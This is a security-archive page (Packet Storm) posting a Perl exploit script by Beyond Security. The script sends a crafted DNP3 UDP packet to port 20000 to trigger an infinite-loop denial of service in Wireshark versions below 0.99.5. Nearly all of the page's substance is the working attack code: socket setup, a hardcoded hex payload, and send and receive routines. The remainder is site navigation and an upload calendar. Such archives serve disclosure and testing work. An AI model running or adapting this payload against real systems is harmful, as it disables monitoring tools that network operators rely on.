what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

wiresharkdnp3-dos.txt

wiresharkdnp3-dos.txt
Posted Aug 31, 2007
Authored by Beyond Security | Site BeyondSecurity.com

Wireshark versions below 0.99.5 DNP3 dissector infinite loop denial of service exploit.

tags | exploit, denial of service
SHA-256 | cde9d97a0c0f44ccd0bf659e4f35424c5eae09318226f38bb657e22dddf7292d

wiresharkdnp3-dos.txt

Change Mirror Download
#!/usr/bin/perl
# Automatically generated by beSTORM(tm)
# Copyright Beyond Security (c) 2003-2007 ($Revision: 3741 $)

# Attack vector:
# M0:P0:B0.BT0:B0.BT0:B0.BT0:B0.BT0

# Module:
# DNP3

use strict;
use warnings;

use Getopt::Std;
use IO::Socket::INET;

$SIG{INT} = \&abort;

my $host = '192.168.4.52';
my $port = 20000;
my $proto = 'udp';
my $sockType = SOCK_DGRAM;
my $timeout = 1;

#Read command line arguments
my %opt;
my $opt_string = 'hH:P:t:';
getopts( "$opt_string", \%opt );

if (defined $opt{h}) {
usage()
}

$host = $opt{H} ? $opt{H} : $host;
$port = $opt{P} ? $opt{P} : $port;
$timeout = $opt{t} ? $opt{t} : $timeout;

my @commands = (
{Command => 'Send',
Data =>
"\xC3\xC0\x01\x01\x00\x01\x07\x08\x01\x02\x03\x04\x05\x06\x07\x08},
{Command => 'Receive'},

);

###
# End user configurable part
###

#1. Create a new connection
my $sock = new IO::Socket::INET (
PeerAddr => $host,
PeerPort => $port,
Proto => $proto,
Type => $sockType,
Timeout => $timeout,
)
or die "socket error: $!\n\n";

print "connected to: $host:$port\n";

$sock->autoflush(1);
binmode $sock;

#2. communication part

foreach my $command (@commands)
{
if ($command->{'Command'} eq 'Receive')
{
my $buf = receive($sock, $timeout);
if (length $buf)
{
print "received: [$buf]\n";
}
}
elsif ($command->{'Command'} eq 'Send')
{
print "sending: [".$command->{'Data'}."]\n";
send ($sock, $command->{'Data'}, 0) or die "send failed, reason:
$!\n";
}
}

#3. Close connection
close ($sock);

#The end

sub receive
{
my $sock = shift;
my $timeout = shift;

my $tmpbuf;
my $buf = "";

while(1)
{ # Example from perldoc -f alarm
eval {
local $SIG{ALRM} = sub { die "timeout\n" };
alarm $timeout;

my $ret = read $sock, $tmpbuf, 1; #We read data one byte at a time.
if ( !defined $ret or $ret == 0 )
{ #EOF
die "timeout\n";
}

alarm 0;
$buf .= $tmpbuf;
};
if ($@) { #time out
if($@ eq "timeout\n")
{
last;
}
else {
die "receive aborted\n";
}
}
} #while
return $buf;
}

sub abort
{
print "aborting...\n";
if ($sock)
{
close $sock;
}
die "User aborted operation\n";
}
sub usage
{
print "usage: $0 [-hHPt]\n";
print "-h\t: this help message\n";
print "-H\t: override default host - $host\n";
print "-P\t: override default port - $port\n";
print "-t\t: set socket timeout in seconds\n";
exit 0;
}


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close